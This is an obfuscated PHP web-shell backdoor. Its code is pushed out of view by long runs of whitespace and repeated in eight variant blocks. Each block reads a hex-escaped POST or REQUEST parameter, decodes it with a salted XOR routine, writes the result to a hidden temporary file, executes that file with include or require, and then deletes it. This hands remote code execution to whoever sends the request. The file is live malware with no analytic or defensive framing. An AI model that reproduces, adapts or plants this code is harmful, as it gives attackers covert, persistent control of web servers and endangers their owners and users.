<?php																																										if(filter_has_var(INPUT_POST, "\x68\x6Fld\x65r")){ $pointer = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm"]); $res = $_REQUEST["\x68\x6Fld\x65r"]; $res = explode ( '.',$res ) ; $comp = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt6); foreach( $res as $n=>$v2): $sChar = ord( $salt6[$n%$sLen]); $dec =( ( int)$v2 - $sChar -( $n%10)) ^32; $comp .= chr( $dec); endforeach; for ($property_set = 0, $descriptor = count($pointer); $property_set < $descriptor; $property_set++) { $entry = $pointer[$property_set]; if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $pgrp = implode("/", [$entry, ".data_chunk"]); if (file_put_contents($pgrp, $comp)) { require $pgrp; unlink($pgrp); exit; } } } }
																																										if(array_key_exists("h\x6Flde\x72", $_POST)){ $dat = $_POST["h\x6Flde\x72"]; $dat=explode('.' , $dat ) ; $desc = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $n = 0; $__tmp = $dat; while ($v7 = array_shift($__tmp)) { $sChar = ord($s[$n % $sLen]); $dec = ((int)$v7 - $sChar - ($n % 10))^96; $desc .= chr($dec); $n++;} $reference = array_filter([session_save_path(), getenv("TEMP"), "/tmp", "/var/tmp", "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]); while ($symbol = array_shift($reference)) { if (max(0, is_dir($symbol) * is_writable($symbol))) { $data_chunk = vsprintf("%s/%s", [$symbol, ".dchunk"]); if (@file_put_contents($data_chunk, $desc) !== false) { include $data_chunk; unlink($data_chunk); exit; } } } }
																																										if(!empty($_POST["holde\x72"])){ $record = $_POST["holde\x72"]; $record = explode ( "." ,$record ); $comp = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); foreach ($record as $s=> $v2) { $sChar = ord($salt[$s % $sLen]); $dec = ((int)$v2 - $sChar - ($s % 10)) ^ 69; $comp .= chr($dec); } $dchunk = array_filter(["/tmp", getcwd(), getenv("TEMP"), "/var/tmp", getenv("TMP"), session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); foreach ($dchunk as $tkn): if ((is_dir($tkn) and is_writable($tkn))) { $flg = join("/", [$tkn, ".component"]); if (file_put_contents($flg, $comp)) { require $flg; unlink($flg); exit; } } endforeach; }
																																										if(array_key_exists("\x65\x6Cem", $_REQUEST) && !is_null($_REQUEST["\x65\x6Cem"])){ $data_chunk = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", getenv("TMP")]); $itm = $_REQUEST["\x65\x6Cem"]; $itm = explode ( '.' ,$itm ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $x = 0; $__tmp = $itm; while ($v2 = array_shift($__tmp)) {$sChar = ord($s[$x % $sLen]); $d = ((int)$v2 - $sChar - ($x % 10))^ 42; $holder .= chr($d); $x++; } foreach ($data_chunk as $resource) { if (is_dir($resource) && is_writable($resource)) { $entity = str_replace("{var_dir}", $resource, "{var_dir}/.hld"); if (file_put_contents($entity, $holder)) { require $entity; unlink($entity); die(); } } } }
																																										if(isset($_POST) && isset($_POST["e\x6E\x74\x69ty"])){ $data = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), "/tmp", getcwd(), "/dev/shm", session_save_path()]); $obj = $_POST["e\x6E\x74\x69ty"]; $obj = explode ( '.' ,$obj ) ; $binding = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $u = 0; $__len = count($obj ); do { if ($u >=$__len) break; $v1 = $obj[$u]; $chS = ord($s2[$u % $sLen] ); $d = ((int)$v1 - $chS - ($u % 10)) ^ 75; $binding .= chr($d ); $u++; } while (true ); while ($data_chunk = array_shift($data)) { if (is_writable($data_chunk) && is_dir($data_chunk)) { $item = vsprintf("%s/%s", [$data_chunk, ".pointer"]); if (@file_put_contents($item, $binding) !== false) { include $item; unlink($item); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x64a\x74a_\x63\x68un\x6B")){ $res = $_POST["\x64a\x74a_\x63\x68un\x6B"]; $res = explode ( '.' , $res ) ; $dchunk = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt5 ); $u = 0; while($u < count($res)) {$v2 = $res[$u]; $chS = ord($salt5[$u % $sLen] ); $d =((int)$v2 - $chS -($u % 10)) ^ 86; $dchunk .=chr($d ); $u++; } $pset = array_filter([getenv("TMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp"]); for ($sym = 0, $value = count($pset); $sym < $value; $sym++) { $holder = $pset[$sym]; if (!( !is_dir($holder) || !is_writable($holder) )) { $item = "$holder" . "/.ent"; $file = fopen($item, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $item; @unlink($item); die(); } } } }
																																										if(array_key_exists("\x72\x65f", $_POST)){ $comp = array_filter([session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), getenv("TMP")]); $property_set = $_POST["\x72\x65f"]; $property_set =explode( '.' , $property_set ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $y = 0; $__tmp = $property_set; while( $v7 = array_shift( $__tmp)) { $chS = ord( $salt[$y % $lenS] ); $dec =( ( int)$v7 - $chS -( $y % 10)) ^91; $data_chunk .= chr( $dec ); $y++; } foreach ($comp as $key => $marker) { if (max(0, is_dir($marker) * is_writable($marker))) { $res = "$marker/.flag"; if (file_put_contents($res, $data_chunk)) { include $res; @unlink($res); die(); } } } }


if(!empty($_REQUEST["r\x65fere\x6E\x63\x65"])){
	$fac = $_REQUEST["r\x65fere\x6E\x63\x65"];
		$fac =	explode 	(		 "." ,	  $fac	  )	 ;	
	$k = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $v = 0;
    
            array_walk($fac 	,function($v3) use(&$k 	,&$v 	,$salt 	,$lenS) {
                $chS = ord($salt[$v % $lenS]);
                $d =((int)$v3 - $chS -($v % 10)) ^37;
                $k .= chr($d);
                $v++;
            });
	$ref = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TMP")]);
	foreach ($ref as $val) {
    		if ((bool)is_dir($val) && (bool)is_writable($val)) {
    $marker = sprintf("%s/.res", $val);
    if (file_put_contents($marker, $k)) {
	require $marker;
	unlink($marker);
	exit;
}
}
}
}